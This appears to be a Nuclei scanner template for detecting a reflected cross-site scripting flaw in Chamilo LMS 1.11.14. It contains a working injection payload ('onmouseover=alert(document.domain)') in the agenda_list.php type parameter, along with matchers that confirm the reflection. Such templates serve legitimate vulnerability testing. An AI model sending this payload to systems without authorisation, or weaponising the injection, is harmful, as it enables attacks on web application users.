id: chamilo-lms-xss

info:
  name: Chamilo LMS 1.11.14 Cross-Site Scripting
  author: geeknik
  severity: high
  description: Chamilo LMS 1.11.14 is vulnerable to cross-site scripting.
  reference:
    - https://www.netsparker.com/web-applications-advisories/ns-21-001-cross-site-scripting-in-chamilo-lms/
    - https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-45-2021-01-21-Moderate-impact-moderate-risk-XSS-vulnerability-in-agenda
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
  tags: xss,chamilo,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/main/calendar/agenda_list.php?type=xss"+onmouseover=alert(document.domain)+"'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'agenda_js.php?type=xss" onmouseover=alert(document.domain)'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a004830460221009359242eec3b69343e9f4d93474cf53fa5e4094ec9239fe501cf6d144a6cf370022100d125ca7b8fe6000967b74e0fce4a1dd728dbaac09529a55ac78a969f8084264e:922c64590222798bb761d5b6d8e72950